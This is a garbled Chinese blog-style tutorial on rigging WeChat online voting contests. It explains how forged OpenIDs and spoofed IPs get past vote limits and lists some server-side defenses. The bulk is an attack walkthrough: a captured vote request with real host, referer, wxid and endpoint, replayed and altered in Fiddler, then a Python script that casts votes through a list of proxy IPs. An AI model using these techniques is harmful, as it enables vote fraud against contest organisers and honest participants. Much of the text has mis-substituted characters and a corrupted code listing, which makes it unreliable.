本日就把我最近研究的心得体会给大家分享一下,让大家理解一下微信刷票软件的事理与实现!

一、 微信的刷票办法

微信刷票紧张有两种办法,软件技能刷票和人工水军刷票。

人工刷票:人工刷票,便是利用投票水军来刷票。
商家热衷于搞微信投票活动,一些空闲韶光多的人士创造了这个中的商家,以帮助参赛选手投票来得到佣金。
这些人多数是为兼职投票手投票员,外界一样平常称我们为投票水军。
人工水军刷票的事理就非常大略,便是组建一个微信投票任务群,把投票任务发到群里面就完成刷票了,便是这么大略。
一个群不足用,就多组建几个群就可以了。

phpcurl刷票黑灰产对象之微信投票软件的道理与实现 Node.js

目前网上好多刷票团队,自称都是人工刷票,实在多数都是假的,为什么呢?由于你看他的收费标准就知道了投100票价格可能在10元旁边,以是一票可能都不到一毛钱,这个还要给水军们分以是利润并不高,除非业务量特殊大。
以是险些都是用刷票软件刷票。

如果你想判断你的是人工刷票,你可以让他把投票的截图都发给你,我想他是不会给你的,呵呵,如果真的给你,你的投票价格最少一票要3毛钱以上!

软件技能刷票:刷票软件事理多数 是通过抓包工具剖析提交投票时所产的数据,然后利用脚本程序批量提交数据就达到了刷票的目的。
个中最大的难题便是如何打破限定,例如ip限定,验证码限定,微信上岸授权限定等。
这些刷票工具网上也有很多,但是绝大多数效果都不怎么好,会被平台限定住。

二、 微信投票活动的漏洞和刷票技能手段

常见漏洞如下:

1、在微信投票的活动中,会有两种发起投票的情形,一种是发起投票的做事器是独立的,只是借用了微信的投票平台,在微信平台进行了投票之后,会有一个投票转发的操作,将活动中的投票情形转发给发起投票的做事器。
另一种是直策应用微信的做事器来发起投票的操作,这种情形则不须要进行投票转发的操作,投票情形直接在微信服务器上进行掌握。

2、在微信投票的活动中须要的是微信账号来进行的投票,而在微信平台中有一个关于微信账号的规则,那便是每一个加密后的微信账号都会形成一个OpenID,每个用户的OpenID在微信平台上来说都是唯一的。
那么当用户进行投票后,如果是须要将投票转发给独立做事器的,微信平台则会利用POST参数将包含投票用户的OpenID的信息转发给投票做事器,投票做事器在吸收到微信平台发送过来的投票POST要求之后,就会在自己的做事器通过比拟OpenID来确认同一微信账号的投票次数。
如果不须要转发给投票做事器的,则直接在微信服务器上确认OpenID的投票情形。

3、 如果是独立的投票做事器在吸收到POST要求时,只能对这个发送过来的OpenID进行投票次数的判断,但是由于无法利用微信服务器的数据,就无法对这个OpenID进行真实性的验证,这是微信投票活动的一个很大的漏洞。
即便是直策应用微信服务票来进行的投票活动,虽然可以直接验证OpenID的真实性,但是只须要用技能手段绑定一些OpenID精确的微信账号来进行投票操作便可以通过这项验证了。
有了这个漏洞就非常便于来利用一些技能手段实现微信刷票的操作。

常见的刷票技能手段:

1、针对微信投票活动无法校验OpenID真实性的漏洞,可以先利用一个微信账号进行一次投票操作,利用这次操作来获取干系的网络数据。
这个数据中会包含POST要求的参数以及内容。
然后通过脚本,比如Fiddler或者Python都可以,来自己构建一个POST的要求,该要求中参数和内容担保与获取到的真实数据同等,然后按照真实OpenID的格式随机天生OpenID,须要刷多少票数就进行多少次POST要求,便可以实现大略的刷票操作了。

2、对付有IP限定的微信投票活动,可以利用CURL来假造IP地址,这样就可以制造多个IP来刷票了。

二、 常见的防止刷票方法

1、 只有关注了"大众年夜众号才能投票

在做事调用获取用户根本信息

API接口会返回以下数据:

当用户投票且未关注时,我们可根据subscribe是0还是1判断有没有关注,若没有关注则转年夜"号的二维码页面并提示用户先长按二维码关注"大众年夜众号。
此方法的漏洞便是每次投票都要与微信服务器进行交互。

2、 判断refer和User-Agent

以下为一个request header的部分参数示例:

Referer为上一个访问的页面,以是refer必须要为投票的页面地址。
User-Agent里面必须有关键词MicroMessenger

3、限定客户端投票次数

用ip当成同一个ip投票次数受限定,由于很多时候利用nginx或apache之类的代理做事器,因此直策应用HttpServletRequest的getRemoteAddr()很多时候取得的是代理做事器的ip,而我们要取得的是真实的ip址。
下面是一个获取真实ip的示例代码

4、当投票量大于阅读量时便是刷票行为

存储页面阅读量,投票完成后,打算票数若投票量大于阅读量时便是刷票行为。

5、在提交表单数据的地方利用校验码

做事端返回一个校验码,在dom初始化的时候页面利用js加密这个校验码,commit的时候提交这个加密的校验码,做事端再判断这个加密码的校验码是否精确。
校验码设置利用N次后就作废。

以下为伪代码

做事端处理:

四、 微信刷票软件常见的实现方法

1、利用fiddler抓包 实现微信投票(事理是利用OpenID真实性的漏洞)

第一步:首先在电脑高下载微信软件

一样平常微信投票都须要关注"大众年夜众号才能投票,以是必须用电脑微信打开链接进入投票界面 下载好之后,打开微信登录微信帐号。
然后把投票网址复制粘贴发送到文件传输助手,这时先不要打开。

第二步:下载并安装且打开抓包软件fiddler

第三步:现在回到微信打开刚才要投票的网址,这时开启抓包

第四步:通过我们刚才在微信里投票的过程,下边我们来看下fiddler里的情形

涌现了这些数据,须要对这些数据进行剖析。
找到哪个才是我们投票的数据

末了经由剖析,找到了这些数据

Host: t: ssl.hi.163.com

Co

Content-Type: application/x-www-form-urlencoded

Origin: n: https://qnm.leihuo.net

Ac

Accept-Encoding: gzip, deflate

Connection: keep-alive

Accept: application/json

User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Mobile/14D27 MicroMessenger/6.7.1 NetType/WIFI Language/zh_CN

Referer: r: https://qnm.leihuo.net/m/2018/hahaha/MjU5NzAyMDQ1QXlQN0J6UFVYMXNBQUFBQQ==/?nie=0.674688067616421&eggid=MjU5NzAyMDQ1QXlQN0J6UFVYMXNBQUFBQQ==&uinfo=0&code=023Eqy001YcsR02oSGYZ0lRK001Eqy0Y

Co

Content-Length: 90

Accept-Language: zh-cn

https://ssl.hi.163.com/file_mg/public/qnm/zbs2018/incubation/changeEggProcess

wxid=ox1Mat8wMEsQ9dIoILUpNiESReNo&eggid=MjU5NzAyMDQ1QXlQN0J6UFVYMXNBQUFBQQ%3D%3D&is_pass=1

第五步:现在我们须要对这些数据重组,进行一次发包操作。
重新再刷一次票。

我们还是回到fiddler 这次我们须要打开这个

第六步:把我们刚才剖析到的数据分组填入,填完之后是这样的。
然后我们点击Execute按钮。

第七步:我们点击提交往后,看下软件返回什么数据

第八步:这个使我们所须要的详细信息。
但是是乱码,要怎么应对呢,实在只要看 code:-5就可以了。
这样表示您已经孵化过或者投过票了。
现在便是我们所须要操作的关键点。

第九步:回到我们刚才我们点击提交的地方。
把下列数据随便改一下。
但是位数不要减少也不要增加,再次提交 。

第十步:末了我们看下返复书息

哈哈,刷票成功了!


2、利用Python措辞编写脚本实现微信刷票(打破ip限定的投票方法)

针对那些微信投票只限定ip 来源的办法,我们可以用如下办法进行刷票:

第一步:在网上搜索大量的代理ip ,建立一个代理ip地址表

第二步:用Python编写一个自动实行脚本

代码如下:

1. #coding=utf-8 2. import urllib2 3. import urllib 4. import re 5. import threading 6. import sys 7. from time import ctime 8. import time 9. rlock = threading.RLock() 10. def vote(proxyIP,i,urls): 11. try: 12. #print \"大众voting...%d...\"大众 % i 13. #利用代理IP 14. proxy_support = urllib2.ProxyHandler(proxyIP) 15. opener = urllib2.build_opener(proxy_support, urllib2.HTTPHandler) 16. #定义Opener 17. 18. urllib2.install_opener(opener) 19. #把opener绑定到全局 20. 21. sendt = '投票'.decode('utf-8').encode('gb2312') 22. 23. #设置刷票地址 24. #post数据bn 25. values = {} 26. req = urllib2.urlopen(urls) 27. #直接打开这个URL 28. html = req.read() 29. #读取返回数据 30. if html.find('true'.decode('utf-8').encode('gb2312')): 31. print \公众投票 [%d] 成功\"大众 % i 32. return 1 33. else: 34. print \公众投票 [%d] 失落败\公众 % i 35. return 0; 36. except Exception: 37. return False 38. 39. if __name__ == \"大众__main__\公众: 40. args = sys.argv 41. if(len(args) == 3): 42. ipFile = open(args[1]); 43. ipList = ipFile.readlines() 44. ipFile.close() 45. length = range(len(ipList)) 46. threads = [] 47. for i in length: 48. ipLine = ipList[i] 49. 50. ip=ipLine.strip() 51. proxy_ip = {'http': ip} 52. t = threading.Thread(target=vote,args=(proxy_ip,i,args[2])) 53. print \"大众get \"大众,args[2],ip 54. threads.append(t) 55. for i in length: 56. threads[i].start(); 57. if i%100: 58. time.sleep(5) 59. #每100个线程等待 5秒 60. for i in length: 61. threads[i].join() 62. 63. else: 64. print \"大众\"大众\"大众刷票工具 65. python brush.py IP文件 Get地址: 66. 67. \"大众\公众\"大众